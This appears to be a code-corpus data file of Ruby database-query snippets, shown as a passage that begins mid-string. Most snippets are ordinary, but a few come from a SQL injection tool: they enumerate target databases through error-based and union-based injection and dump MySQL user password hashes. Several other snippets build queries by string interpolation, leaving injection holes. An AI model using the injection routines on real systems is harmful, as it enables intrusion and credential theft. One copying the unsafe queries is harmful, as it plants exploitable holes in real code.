Ticker : #{category['stock_ticker']}\r\n Stock Price : #{category['stock_price']}\r\n Stock Exchange: #{category['stock_exchange']}\r\n Rating : #{category['recommendation']}\"\r\n \r\n end\r\n\r\nend", "def fetch_ftp_users_info_from_database(db_host_address, db_username, db_password, db_esme_address)\n unless db_esme_address.nil? || db_esme_address == ''\n sleep 5\n db_login = Mysql2::Client.new(:host => db_host_address, :username => db_username,:password=> db_password, :database => 'billing')\n update_query = db_login.query(\"UPDATE email.inboxed_ftp_rule SET templateFile=NULL, FILE=NULL, text='Test Sample', template_id=NULL WHERE Esmeaddr ='#{db_esme_address}'\")\n db_output = db_login.query(\"SELECT * FROM proftpd.`ftp_email_users` WHERE esmeaddr ='#{db_esme_address}'\")\n database_output = db_output.first # CONVERTING DATABASE RESPONSE TO HASH\n unless database_output.nil? || database_output == 0\n database_ftp_file_pattern = database_output['input_file_pattern']\n database_ftp_esme_address = database_output['esmeaddr']\n database_ftp_host = database_output['ftp_host']\n database_ftp_destination_dir = database_output['destinationdir']\n database_ftp_home_dir = database_output['homedir']\n database_ftp_username = database_output['remote_user']\n database_ftp_password = database_output['remote_passwd']\n database_ftp_attachment_pattern = database_output['attachment_file_pattern']\n database_ftp_port = database_output['ftp_port']\n puts \"#DATABASE RESPONSE SHOWN ON QUERY SEARCH BASED ON ESME ADDRESS:\\n #{database_output}\"\n db_login.close\n else\n puts 'Database Query is Invalid or Data is not Inserted in Billing Table'\n end\n else\n puts 'Invalid ESME Address or Unable to fetch database response'\n end\n return database_output\nend", "def all \n results = CONNECTION.execute(\"SELECT * FROM #{self.table_name}\")\n \n return self.results_as_objects(results)\n end", "def readOperation\n\t\tbegin\n\t\t\tresultset = @statement.executeQuery \"select * from products\"\n\t\t\tputs \"========================================================================\"\n\t\t\tputs \"Product_Number \\t Product_Name \\t Product_Quantity \\t Product_Cost \"\n\t\t\tputs \"========================================================================\"\n\t\t\twhile resultset.next do\n\t\t\t\tputs \" \\t#{resultset.getInt('proid')} \\t\\t #{resultset.getString('product_name')} \\t\\t#{resultset.getInt('product_qty')} \\t\\t#{resultset.getInt('product_cost')}\"\n\t\t\tend\n\t\t\tputs \"=========================================================================\"\n\t\t\t\t#Closing the connections \n\t\t\[email protected]\n\t\t\[email protected]\n\t\t\tresultset.close\n\t\trescue Exception => e\n\t\t\tputs e.message\n\t\tend\n\t\t\t\n\tend", "def all_hash\n CONNECTION.execute(\"SELECT * FROM #{table_name};\")\n end", "def get_columns(db, tbl)\n @db_connection.close if @db_connection\n begin\n db_connection = Mysql.connect(@host, @user, @pass, db, @port.to_i)\n query = db_connection.query(\"SHOW COLUMNS FROM #{tbl};\")\n print_good(\"Columns for #{db}.#{tbl}:\")\n query.each { |x, y| print_line(\"#{x}\") }\n db_connection.close\n rescue Mysql::Error => e\n print_error(\"Problem getting Columns from #{db}.#{tbl}!\")\n print_error(\"#{e}\")\n end\n @db_connection = Mysql.connect(@host, @user, @pass, @db, @port.to_i)\n end", "def query(sql)\n @dataset = @database[sql] #Take SQL string and connect it to a DB\n #puts(\"Datset\", dataset)\n @fields = Array.new #Create blank array of field/column names\n @fields = @dataset.columns #Gets table field/column names\n #print(\"Fields\", @fields, \"\\n\") #debug \n @fieldCount = @fields.length\n\n begin\n @data = @dataset.all #Executes SQL\n rescue\n @data = Array.new\n end\n end", "def retrieve_database_meta(modelname, adapter,driver,host,username,password,database,urltemplate)\n \n urltemplate.gsub!(\"{host}\",host)\n urltemplate.gsub!(\"{password}\",password)\n urltemplate.gsub!(\"{username}\",username)\n urltemplate.gsub!(\"{database}\",database)\n mdmtype=MdmDataType.first\n \n curr_connect = ActiveRecord::Base.connection\n if adapter==\"mysql\"\n arconfig = {\n :adapter => adapter,\n :host => host,\n :username => username,\n :password => password,\n :database => database }\n \n config = ActiveRecord::ConnectionAdapters::ConnectionSpecification.new( {\n :adapter => adapter,\n :driver => driver,\n :username => username,\n :password => password,\n :host => host,\n :url => urltemplate,\n :pool => 2\n }, 'mysql_connection')\n \n connection = ActiveRecord::ConnectionAdapters::ConnectionPool.new(config)\n \n else\n # jdbc = JDBCAR.new\n # connection = jdbc.connect(driver,username,password,urltemplate)\n arconfig = {:adapter => 'jdbc',\n :driver => driver,\n :username => username,\n :password => password,\n :url => urltemplate,\n :pool => 2}\n config = ActiveRecord::ConnectionAdapters::ConnectionSpecification.new( {\n :adapter => 'jdbc',\n :driver => driver,\n :username => username,\n :password => password,\n \n :url => urltemplate,\n :pool => 2\n }, 'jdbc_connection')\n \n connection = ActiveRecord::ConnectionAdapters::ConnectionPool.new(config)\n end\n \n primary_k = {}\n newtables={}\n metaconnect = connection.checkout\n metaconnect.tables.each do |table|\n newtables[table] = [] \n primary_k[table] = metaconnect.primary_key(table)\n metaconnect.columns(table.to_s).each do |col|\n newtables[table] << col.name\n print col.name + \", \"\n end\n end\n \n connection.checkin metaconnect\n \n \n mdm_model = MdmModel.find_by_name(modelname) \n mdm_model = MdmModel.new if mdm_model.nil? \n mdm_model.connect_src = serialize_config(adapter,driver,host,username,password,database,urltemplate)\n mdm_model.name = modelname\n newtables.keys.each do |table|\n mdmexist = MdmObject.find_by_name(table)\n mdmexist.destroy if mdmexist\n mdmobject = MdmObject.new\n mdmobject.name=table\n newtables[table].each do |col|\n mdmcolumn = MdmColumn.new\n mdmcolumn.name = col\n mdmcolumn.mdm_data_type = mdmtype\n mdmcolumn.is_primary_key=true if !primary_k[table].nil? && primary_k[table].include?(mdmcolumn.name)\n mdmcolumn.save\n if mdmcolumn.is_primary_key\n pk = MdmPrimaryKey.new\n pk.mdm_column = mdmcolumn\n mdmobject.mdm_primary_keys << pk\n end\n mdmobject.mdm_columns << mdmcolumn\n end\n mdm_model.mdm_objects << mdmobject\n \n end\n \n mdm_model.save\n generate_active_record(mdm_model,arconfig)\n end", "def display_entries(db)\n\tentries = db.execute(\"SELECT * FROM books\")\n\tif entries == []\n\t\tputs \"You have zero logged books!\"\n\t\tputs\n\telse\n\t\tentries.each do |book|\n\t \t\tputs \"#{book['id']}. #{book['book_name']} by #{book['author']}\"\n\t \t\tputs \"\tPublished: #{book['year_pubished']}, Reading status: #{book['read']} pages read.\"\n\t \t\tputs \" \tGenre: #{book['genre']}\"\n\t \t\tputs \"\tYour rating: #{book['rating']} out 10.\"\n\t \t\tputs\n\t\tend\n\tend\nend", "def print_urls db, tables\n tables.each do |tbl|\n db.execute(\"select word,pdata,pic,usa,uk from #{tbl}\") do |row|\n pdata = xml2urls row[1]\n\n pic = [nil]\n if row[2]\n pic = ['http://www.longmandictionariesusa.com/res/ldoce/images/mobile/fullsize/%s.jpg' % row[2].sub(/\\.[^.]+$/, '').downcase]\n end\n\n usa = [nil]\n if row[3]\n usa = ['http://www.longmandictionariesusa.com/res/ldoce/audio/hwd/ame/' + row[3]]\n end\n\n uk = [nil]\n if row[4]\n uk = ['http://www.longmandictionariesusa.com/res/ldoce/audio/hwd/bre/' + row[4]]\n end\n\n puts \"# #{row[0]}\"\n (pdata + pic + usa + uk).select {|name| name}.each {|name| puts name}\n end\n end\nend", "def comments\n db_connection do |conn|\n conn.exec(\"SELECT * FROM comments\").to_a\n end\nend", "def display_food_log(db)\n food_data = db.execute(\"SELECT * FROM food_log\")\n food_data.each do |macros|\n puts \"On #{macros['date']} you ate #{macros['total_calories']} calories, #{macros['total_fat']} grams of fat, #{macros['total_carbs']} #{macros['total_carbs']} grams of carbohydrates, and #{macros['total_protein']} grams of protein.\"\n end\n\nend", "def getChannelList\n begin\n channelList = []\n query = \"SELECT * FROM `#{CHANNEL_TABLE}`\"\n \n self.connect unless self.connected? # => connect to the DB server if not connected\n \n sth = @dbh.prepare(query)\n \n sth.execute()\n \n sth.fetch { |row| \n channelList << Hash[\"id\" => row[0], \"name\" => to_utf8(row[1])]\n } \n \n \n sth.finish\n \n rescue DBI::DatabaseError => e\n puts \"An error occurred\"\n puts \"Error code: #{e.err}\"\n puts \"Error message: #{e.errstr}\"\n @dbh.rollback\n rescue Exception => e \n puts \"error!!! -> : #{e.to_s}\"\n \n ensure\n # disconnect from server\n @dbh.disconnect if @connected\n @connected=false\n end\n return channelList\n end", "def get_budgets(db)\r\n budgets = db.execute(\"SELECT * FROM budgets\")\r\nend", "def get_all_entries()\n jso = Hash.new()\n \n # Connect to database\n dbe = MIDB::API::Dbengine.new(@engine.config, @db)\n dblink = dbe.connect()\n rows = dbe.query(dblink, \"SELECT * FROM #{self.get_structure.values[0].split('/')[0]};\")\n if rows == false\n return MIDB::Interface::Server.json_error(400, \"Bad Request\")\n end\n # Iterate over all rows of this table\n rows.each do |row|\n jso[row[\"id\"]] = self.get_structure\n self.get_structure.each do |name, dbi|\n table = dbi.split(\"/\")[0]\n field = dbi.split(\"/\")[1]\n # Must-match relations (\"table2/field/table2-field->row-field\")\n if dbi.split(\"/\").length > 2\n match = dbi.split(\"/\")[2]\n matching_field = match.split(\"->\")[0]\n row_field = match.split(\"->\")[1]\n query = dbe.query(dblink, \"SELECT #{field} FROM #{table} WHERE #{matching_field}=#{row[row_field]};\")\n else\n query = dbe.query(dblink, \"SELECT #{field} from #{table} WHERE id=#{row['id']};\")\n end\n if query == false\n return MIDB::Interface::Server.json_error(400, \"Bad Request\")\n end\n jso[row[\"id\"]][name] = dbe.length(query) > 0 ? dbe.extract(query,field) : \"unknown\"\n jso[row[\"id\"]][name] = @hooks.format_field(name, jso[row[\"id\"]][name])\n end\n end\n @hooks.after_get_all_entries(dbe.length(rows))\n return jso\n end", "def print_list(database)\n\tfull_database = database.execute(\"SELECT * FROM restaurants ORDER BY name\")\n\tprint(full_database)\n\tdatabase\nend", "def select(db); end", "def select(db); end", "def db_printer(database)\n my_database_printout = database.execute(\"SELECT * FROM wine_cellar\") # Note that you don't need the semicolon!\n puts \"\\nHere is your current wine list:\\n\" + \"=\"*30 + \"\\n\\n\"\n my_database_printout.each {|data_item| puts \"Item No. #{data_item[0]}: #{data_item[1]} -- #{data_item[2]} -- #{data_item[3]} -- #{data_item[4]}\"}\nend", "def print_personal_list(db, name)\r\n\tputs \"Chores for #{name}\"\r\n\tprint_chores = db.execute(\"SELECT chores.complete_by_day, chores.name FROM chores, family WHERE family.name = ? AND chores.family_id = family.id\", [name])\r\n\tprint_chores.each do |x|\r\n\t\tputs \"#{x[0]} : #{x[1]}\"\r\n\tend\r\nend", "def display_tasks(db)\n tasks = db.execute(\"SELECT * FROM list\")\n tasks.each do |item|\n puts \"ID: #{item[0]} To do: #{item[1]} Due: #{item[2]} Notes: #{item[3]}\"\n end\nend", "def display_products\n all_products = @conn.exec(\"SELECT * FROM products;\")\n all_products.each do |product|\n product.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n end\nend", "def show_all_incidents(db)\n\tputs \"Previously reported incidents:\"\n\tputs db.execute(\"SELECT agency_name, description, location, incident_date, incident_time FROM incidents\")\n\nend", "def tech_heroes_list(db)\r\n\tlist = db.execute(\"SELECT * FROM tech_heroes\")\r\n\tlist.each do |person|\r\n\t\tputs \"#{person['name']} is #{person['age']} years old whose specialty is to #{person['specialty']}.\"\r\n\tend\r\nend", "def get_products()\n db = connect()\n result = db.execute(\"SELECT id, titel, description, price, userid, img FROM Product LIMIT 5\")\n end", "def display_students\n all_students = @conn.exec(\"SELECT * FROM students;\")\n all_students.each do | student|\n student.each do |k,v|\n puts \"#{k}: #{v}\"\n end\n end\nend", "def get_dbs\n if @target_config['DBS'].empty?\n if @target_config['VERSION'].scan(/./)[0].to_i < 5 and not @target_config['VERSION'].nil?\n # MySQL < 5\n print_error(\"DB Version: #{@target_config['VERSION']}\")\n print_error(\"There is no information_schema to query.....\")\n print_error(\"Unable to enumerate databases for MySQL < 5\")\n elsif @target_config['VERSION'].scan(/./)[0].to_i >= 5 or @target_config['VERSION'].nil?\n # MySQL >= 5\n results = error_basic_inject('select count(schema_name) from information_schema.schemata')\n if results.nil?\n results = error_basic_inject('select count(distinct(db)) from mysql.db')\n dbs_count = 0 unless not results.nil?\n print_error(\"Unable to get database count, flying a bit blind!\") unless not results.nil?\n dbs_count = results unless results.nil?\n print_status(\"Requesting #{dbs_count} Databases Names....\") unless results.nil?\n else\n dbs_count = results\n print_status(\"Requesting #{dbs_count} Databases Names....\")\n end\n dbz=[]\n count = 0\n while not results.nil?\n results = error_basic_inject(\"select schema_name from information_schema.schemata limit #{count},1\")\n pad = ' ' * (results.size + 25) unless results.nil? or results == ''\n pad = ' ' * 50 if results.nil? or results == ''\n print \"\\r(#{count})> #{results}#{pad}\".cyan unless results == ''\n dbz << results unless results == ''\n count = count.to_i + 1\n end\n print_line(\"\")\n if dbz.empty?\n print_line(\"\")\n print_error(\"Unable to get any database names!\")\n print_error(\"Lack of privileges?\")\n print_status(\"Possible Solutions include:\")\n print_caution(\"A) Become HR's best friend by updating the code and sending him a copy\")\n print_caution(\"B) Tweak Settings and try things again\")\n print_caution(\"C) Be a bawz and do it manually\")\n print_line(\"\")\n else\t\n @target_config['DBS'] = dbz\n print_good(\"DBS: #{dbz.join(', ').sub(/, $/, '')}\")\n end\n end\n else\n print_good(\"DBS: #{@target_config['DBS'].join(', ').sub(/,$/, '')}\")\n end\n end", "def get_columns()\n db = SQLite3::Database.open(\"cash.db\")\n db.execute(\"select Valeur, Cours, Variation, Ouverture, Haut, Bas from boursier\") do |v|\n puts v.join(\" \")\n end\nend", "def info\n specified_db_or_all { |db| display_db_info db }\n end", "def display_subjects(database)\r\n\tsubjects = database.execute(\"SELECT * FROM subjects\")\r\n\tsubjects.each do |subject|\r\n\t\tputs \"ID: #{subject[0]} Subject: #{subject[1]}\"\r\n\tend\r\nend", "def restGetMetaInformation()\n printDebugMessage('restGetMetaInformation', 'Begin', 11)\n url = \"#{baseUrl}/dbfetch.databases?style=xml\"\n xmlDoc = restRequest(url)\n doc = REXML::Document.new(xmlDoc, { :ignore_whitespace_nodes => :all })\n printDebugMessage('restGetMetaInformation', 'End', 11)\n return doc.root.elements['//databaseInfoList']\n end", "def get_all_files()\n return $db.execute(\"SELECT * FROM files\")\nend", "def fetch_fields\n fields = @result.fields\n field_types = @result.field_types\n tables = @result.respond_to?(:tables) ? @result.tables : [] # My addition to mysql2 results.c\n fields_arr = []\n ([email protected]).each do |i|\n fields_arr[i] = MySQL_FIELD.new(\n name: fields[i],\n table: tables[i],\n db: databases[i],\n type: field_types[i]\n )\n end\n return fields_arr\n end", "def user_info(user_id, list_id)\n return [db.execute(\"SELECT * FROM users WHERE user_id=?\", user_id), db.execute(\"SELECT * FROM listings WHERE list_id=?\", list_id)]\nend", "def view_contact_list(list)\n list = list.execute(\"SELECT * FROM contacts\")\n\n list.each do |item|\n puts \"name: #{item[1]}\"\n puts \"occupation: #{item[2]} - association: #{item[3]}\"\n puts \"email: #{item[4]} - phone:#{item[5]}\"\n puts \"-------------------\"\n end\nend", "def all\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n \n results = CONNECTION.execute(\"SELECT * FROM #{table_name}\")\n # TODO put these lines back in and create another method to turn results_as_objects array of \n # objects in to array of hashes!!!!!!!\n results_as_objects = []\n\n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n return results_as_objects\n end", "def info(database)\n command 'SHOW INFO', database do\n response 112\n text\n end\n end", "def less_info(db)\r\n info = db.execute(\"SELECT stocks2.stock_ticker,stocks1.recommendation FROM stocks2 JOIN stocks1 ON stocks2.recommendation_id = stocks1.id;\")\r\n \r\n info.each do |category|\r\n puts \" \r\n Stock Ticker : #{category['stock_ticker']}\r\n Rating : #{category['recommendation']}\"\r\n end\r\nend", "def view_all(db, user_id)\n results = db.execute(\"SELECT exercises.name, exercises_users.reps, exercises_users.weight \n FROM users \n JOIN exercises_users ON users.id = exercises_users.user_id \n JOIN exercises ON exercises_users.exercise_id = exercises.id WHERE users.id = ?\", [user_id])\n results.each do |info_array|\n puts \"#{info_array[0]}:\\t #{info_array[1]} reps\\t #{info_array[2]} pounds\"\n end\nend", "def getUserInfo(idUser)\n \n begin\n \n query = \"SELECT last_name,first_name,email,birthdate,facebook_id,profile_img FROM `#{USER_TABLE}` WHERE `id_user` = ?\"\n \n self.connect unless self.connected? # => connect to the DB server if not connected\n \n sth = @dbh.prepare(query)\n \n sth.execute(idUser)\n count=0\n userinf=false\n sth.fetch() { |row| \n userinf = Hash[\"last_name\" => self.to_utf8(row[0]),\n \"first_name\" => self.to_utf8(row[1]),\n \"email\" => row[2],\n \"birthdate\" => row[3],\n \"facebook_id\" => row[4],\n \"profile_img\" => row[5]]\n } \n \n sth.finish\n \n rescue DBI::DatabaseError => e\n puts \"An error occurred\"\n puts \"Error code: #{e.err}\"\n puts \"Error message: #{e.errstr}\"\n @dbh.rollback\n rescue Exception => e \n puts \"error!!! -> : #{e.to_s}\"\n \n ensure\n # disconnect from server\n @dbh.disconnect if @connected\n @connected=false\n end\n return userinf\n \n end", "def printAll( foodDB )\n puts \"\\nThere are currently #{foodDB.size} entries in the database.\\n\\n\"\n puts foodDB.printAll\nend", "def get_user_data(table, userid)\n return $db.execute('SELECT * FROM ' + table + ' WHERE userid = ?', userid)\n end", "def view_test_data(db)\n\ttest_data = db.execute(\"SELECT * FROM test_data\")\n\ttest_data.each do |test_data|\n\tputs \" #{test_data['first_name']} #{test_data['last_name']} is #{test_data['age']} years old, #{test_data['gender']}, and #{test_data['ethnicity']}. #{test_data['customer']}\"\n\tend\nend", "def get_tables(db)\n if db == @db\n query = @db_connection.query('SHOW TABLES;')\n query.each { |x| puts \"#{x[0]}\".white }\n else\n @db_connection.close if @db_connection\n begin\n db_connection = Mysql.connect(@host, @user, @pass, db, @port.to_i)\n query = db_connection.query('SHOW TABLES;')\n query.each { |x| puts \"#{x[0]}\".white }\n db_connection.close if db_connection\n rescue Mysql::Error => e\n print_error(\"Problem getting tables from #{db}!\")\n print_error(\"#{e}\")\n end\n @db_connection = Mysql.connect(@host, @user, @pass, @db, @port.to_i)\n end\n end", "def all\n table_name = self.table_name\n \n results = CONNECTION.execute(\"SELECT * FROM '#{table_name}';\")\n\n results_as_objects = []\n \n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n \n return results_as_objects\n end", "def print_library(db)\n music_library = db.execute(\"SELECT * FROM music\")\n music_library.each do |music|\n p \"#{music[1]} - #{music[2]}, rating = #{music[3]} stars, explicit lyrics present: #{music[4]}, played by user: #{music[5]} on platform: #{music[6]}\"\n end\nend", "def list_users(journal)\n\tusers = journal.execute(\"SELECT * FROM Users\")\n\tusers.each do |users|\n\t\tputs \"#{users['name']}\"\n\tend\nend", "def all\n results = CONNECTION.execute(\"SELECT * FROM #{get_table_name}\")\n\n results_as_objects = []\n\n results.each do |results_hash|\n results_as_objects << self.new(results_hash)\n end\n\n return results_as_objects\n end", "def index\n @my_sqls = MySql.all\n end", "def display_artists(db)\n\tputs \"The artists are:\"\n\tputs \"----------------\"\n\tartists_list = db.execute(\"SELECT * FROM artists;\")\n\tartists_list.each do |artist|\n\t\tputs \"Artist's Name: #{artist['artist_name']} ; Language is #{artist['language']}\"\n\tend\nend", "def display_contents\n\t# Open connection\n\tdb = open_connection\n\tbegin\n\t\t# Set results equal to the result of the MySQL query\n\t\tresults = db.query \"SELECT * FROM #{$db_name}.#{$db_table_name}\"\n\t\tputs \"Number of items: #{results.num_rows}\"\n\n\t\tputs \"+----------------+---------------------------------+-----------------+----------+---------+-----------------------------+\"\n\t\tputs \"| Barcode\".ljust(17) + \"| Item Name:\".ljust(34) + \n\t\t\t\"| Item Category\".ljust(18) + \"| Quantity\".ljust(11) + \n\t\t\t\"| Price\".ljust(10) + \"| Description\".ljust(29) + \" |\"\n\t\tputs \"+----------------+---------------------------------+-----------------+----------+---------+-----------------------------+\"\n\t\t# Loop through the results and output the data\n\t\tresults.each_hash do |item|\n\t\t\tprint \"| #{item['Barcode']}\".ljust(17)\n\t\t\tprint \"| #{item['ItemName']}\".ljust(34)\n\t\t\tprint \"| #{item['ItemCategory']}\".ljust(18)\n\t\t\tprint \"| #{item['Quantity']}\".ljust(11)\n\t\t\tprint \"| #{item['Price']}\".ljust(10)\n\t\t\tprint \"| #{item['Description']}\".ljust(29) + \" |\"\n\t\t\tprint \"\\n\"\n\t\tend\n\t\tputs \"+----------------+---------------------------------+-----------------+----------+---------+-----------------------------+\"\n\t\tresults.free\n\trescue\n\t\tabort \"Could not retrieve information from database. Ensure that table name has been entered properly.\"\n\tensure\n\t\tdb.close\n\tend\n\thome_screen\nend", "def get_items\n DYNAMODB.scan(table_name: TABLE_NAME).items\nend", "def get_info(table_name, type)\r\n info = []\r\n if table_exists?(table_name)\r\n table_info = @db.execute(\"PRAGMA table_info(#{table_name});\")\r\n table_info.each { |data| info<< data[type]}\r\n end \r\n info\r\n end", "def all_hash\n results = CONNECTION.execute(\"SELECT * FROM #{get_table_name};\")\n return array_list = make_object_array(results)\n end", "def all_dbs\n @conn.query({url_path: \"_all_dbs\", method: :get})\n end", "def fetch(sql, *params)\n rs = self.execute(sql, *params)\n self.execute(\"flush privileges\") # Always flush in case user wants to alter users\n return [] if self.interpreter.preview? && ! rs\n return rs.fetch_all rescue nil\n end", "def select_all_article_info()\n return get_db_as_hash().execute(\"SELECT * FROM article JOIN tags ON article.tag_id=tags.tag_id\")\n end", "def display_users(db)\n\tputs \"First name and last name of the users.\"\n\tputs \"--------------------------------------\"\n\tname = db.execute(\"SELECT * FROM users;\")\n\tname.each do |user|\n\t\tputs \"Fisrt name: #{user['first_name']} and last name: #{user['last_name']}. #{ user['is_artist'] == 'true' ? 'This user is an artist.' : 'This user is not an artist.' }\"\n\tend\nend", "def info\n specified_db_or_all { |db| display_db_info db }\n end", "def query_db(sql)\n pp sql\n db = SQLite3::Database.new('database.db')\n db.results_as_hash = true\n data = db.execute(sql)\n db.close\n data\nend", "def database_info(dbname, options = {})\n version = options.fetch(:t, '-')\n get db_url(dbname, version) + \"/\", :Accept => 'application/edn'\n end", "def readFromDB\n File.open('db.txt', 'r+') do |file|\n file.readlines\n end\nend", "def find\n self.db.query(\"\n select * \n from dogs\n \")\n end", "def all_houses()\n run_sql(\"select * from houses;\")\nend", "def get_all_actors\n query = %Q{\n SELECT * FROM actors\n ORDER BY name\n }\n\n results = db_connection do |conn|\n conn.exec(query)\n end\n\n results.to_a\nend", "def query sql\n result = db[sql].all\n return result\n end", "def queryUserTable\n @conn.exec( \"SELECT * FROM users\" ) do |result|\n result.each do |row|\n yield row if block_given?\n end\n end\nend", "def db_query cod\n lista = []\n if cod.nil? \n return lista \n end\n itens = $db.query \"SELECT cod, prod, prec FROM produtos WHERE cod=?\", cod\n itens.each { |results| lista.push results }\n return lista\nend", "def get_passwords\n count=0\n zcount=0\n begin\n columns=[ 'user', 'host', 'password', 'super_priv', 'file_priv', 'insert_priv', 'update_priv', 'Create_user_priv', 'create_priv', 'drop_priv', 'grant_priv' ]\n titlerow = []\n columns.each { |col| titlerow << col.sub('_priv', '') }\n data=[] # Array of Arrays for table later\n data << titlerow\n query = @db_connection.query(\"SELECT COUNT(#{columns[0]}) FROM mysql.user;\")\n query.each { |x| zcount = x[0].to_i }\n while count.to_i < zcount.to_i\n row_data = []\n columns.each do |col|\n query = @db_connection.query(\"SELECT #{col} FROM mysql.user limit #{count},1;\")\n query.each { |x| row_data << x[0] }\n end\n data << row_data unless row_data.empty?\n count = count.to_i + 1\n end\n if data.size == 1\n print_error(\"Unable to dump any passwords from mysql.user!\")\n print_error(\"Lack of privileges? IDK....\")\n print_line(\"\")\n return false\n else\t\n print_good(\"MySQL Users & Passwords:\")\n pad = (data[0].size * 3) + data[0].size\n strsize = data[0].join().to_s.size\n breaker=\"\\#\" * (pad + strsize)\n print_good(\"#{breaker}\")\n table = data.to_table(:first_row_is_head => true)\n @passwords=table.to_s\n print_line(\"#{@passwords}\")\n print_good(\"#{breaker}\")\n return true\n end\n rescue Mysql::Error => e\n print_error(\"Problem Dumping MySQL Usernames & Passwords!\")\n print_error(\"#{e}\")\n return false\n end\n end", "def get_dbs\n if @target_config['VERSION'].scan(/./)[0].to_i < 5 and not @target_config['VERSION'].nil?\n # MySQL < 5\n print_error(\"DB Version: #{@target_config['VERSION']}\")\n print_error(\"There is no information_schema to query.....\")\n print_error(\"Unable to enumerate databases for MySQL < 5\")\n elsif @target_config['VERSION'].scan(/./)[0].to_i >= 5 or @target_config['VERSION'].nil?\n # MySQL v5+\n results = union_basic_inject($config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN'].to_i, 'select count(schema_name) from information_schema.schemata')\n if results.nil?\n results = union_basic_inject($config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN'].to_i, 'select count(distinct(db)) from mysql.db') #This usually needs privs, but maybe in some case if info schema is blocked\n dbs_count=0 unless not results.nil?\n print_error(\"Unable to get database count, flying a bit blind!\") unless not results.nil?\n dbs_count=results unless results.nil?\n print_status(\"Requesting #{dbs_count} Databases Names....\") unless results.nil?\n else\n dbs_count=results\n print_status(\"Requesting #{dbs_count} Databases Names....\")\n end\n dbz=[]\n count=0\n while not results.nil?\n results = union_basic_inject($config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN'].to_i, \"select schema_name from information_schema.schemata limit #{count},1\")\n pad = ' ' * (results.size + 10) unless results == '' or results.nil?\n pad = ' ' * 50 if results.nil?\n print \"\\r(#{count})> #{results}#{pad}\".cyan unless results == ''\n dbz << results unless results == ''\n count = count.to_i + 1\n end\n print_line(\"\")\n if dbz.empty?\n print_line(\"\")\n print_error(\"Unable to get any database names!\")\n print_error(\"Lack of privileges?\")\n print_status(\"Possible Solutions include:\")\n print_caution(\"A) Become HR's best friend by updating the code and sending him a copy\")\n print_caution(\"B) Tweak Settings and try things again\")\n print_caution(\"C) Be a bawz and do it manually\")\n print_line(\"\")\n else\t\n @target_config['DBS'] += dbz\n @target_config['DBS'].uniq! unless @target_config['DBS'].nil? or @target_config['DBS'].size == 0\n print_good(\"DBS: #{dbz.join(', ').sub(/, $/, '')}\") unless dbz.nil? or dbz.size == 0\n print_good(\"DBS: #{@target_config['DBS'].join(', ').sub(/, $/, '')}\") if dbz.nil? or dbz.size == 0 and not @target_config['DBS'].nil?\n end\n end\n end", "def find_all\n execute_sql(:read, :user) { table.map {|u| inflate_model(u) } }\n end", "def all\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n \n results = CONNECTION.execute(\"SELECT * FROM #{table_name}\")\n\n results_as_objects = []\n \n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n \n return results_as_objects\n end", "def db_get_info\n if x_node == \"root\"\n # If root node is selected\n if @sb[:active_tab] == \"db_summary\"\n @record = VmdbDatabase.my_database\n @right_cell_text = _(\"VMDB Summary\")\n elsif @sb[:active_tab] == \"db_utilization\"\n @record = VmdbDatabase.my_database\n if @record\n perf_gen_init_options # Initialize perf chart options, charts will be generated async\n @sb[:record_class] = @record.class.base_class.name # Hang on to record class/id for async trans\n @sb[:record_id] = @record.id\n end\n @right_cell_text = _(\"VMDB Utilization\")\n else\n @right_cell_text = case @sb[:active_tab]\n when \"db_connections\" then _(\"VMDB Client Connections\")\n when \"db_details\" then _(\"All VMDB Tables\")\n when \"db_indexes\" then _(\"All VMDB Indexes\")\n else _(\"VMDB Settings\")\n end\n @force_no_grid_xml = true\n db_list\n end\n @tab_text = _(\"Tables\")\n elsif @sb[:active_tab] == \"db_indexes\" || params[:action] == \"x_show\" # if table is selected\n nodes = x_node.split('-')\n if nodes.first == \"xx\"\n tb = VmdbTableEvm.find(nodes.last)\n @indexes = get_indexes(tb)\n @right_cell_text = _(\"Indexes for VMDB Table \\\"%{name}\\\"\") % {:name => tb.name}\n @tab_text = \"%{table_name} Indexes\" % {:table_name => tb.name}\n else\n @vmdb_index = VmdbIndex.find(nodes.last)\n @right_cell_text = _(\"VMDB Index \\\"%{name}\\\"\") % {:name => @vmdb_index.name}\n @tab_text = @vmdb_index.name\n end\n elsif @sb[:active_tab] == \"db_utilization\"\n @record = VmdbTable.find(x_node.split('-').last)\n perf_gen_init_options # Initialize perf chart options, charts will be generated async\n @sb[:record_class] = @record.class.base_class.name # Hang on to record class/id for async trans\n @sb[:record_id] = @record.id\n @right_cell_text = _(\"VMDB \\\"%{name}\\\" Table Utilization\") % {:name => @record.name}\n @tab_text = @record.name\n else\n @sb[:active_tab] = \"db_details\"\n @table = VmdbTable.find(x_node.split('-').last)\n @indexes = get_indexes(@table)\n @right_cell_text = _(\"VMDB Table \\\"%{name}\\\"\") % {:name => @table.name}\n @tab_text = @table.name\n end\n end", "def read_initial_db_values\n session[:database][:dbid] = sql_select_one \"SELECT /* Panorama Tool Ramm */ DBID FROM v$Database\"\n session[:database][:db_block_size] = sql_select_one \"SELECT /* Panorama Tool Ramm */ TO_NUMBER(Value) FROM v$parameter WHERE UPPER(Name) = 'DB_BLOCK_SIZE'\"\n session[:database][:version] = sql_select_one \"SELECT /* Panorama Tool Ramm */ Version FROM V$Instance\"\n session[:database][:wordsize] = sql_select_one \"SELECT DECODE (INSTR (banner, '64bit'), 0, 4, 8) FROM v$version WHERE Banner LIKE '%Oracle Database%'\"\n end", "def get_all_databases\n databases = ::MySQL::Database.find_all\n names = []\n databases.each do |database|\n names << database.name\n end\n names\n end" ]
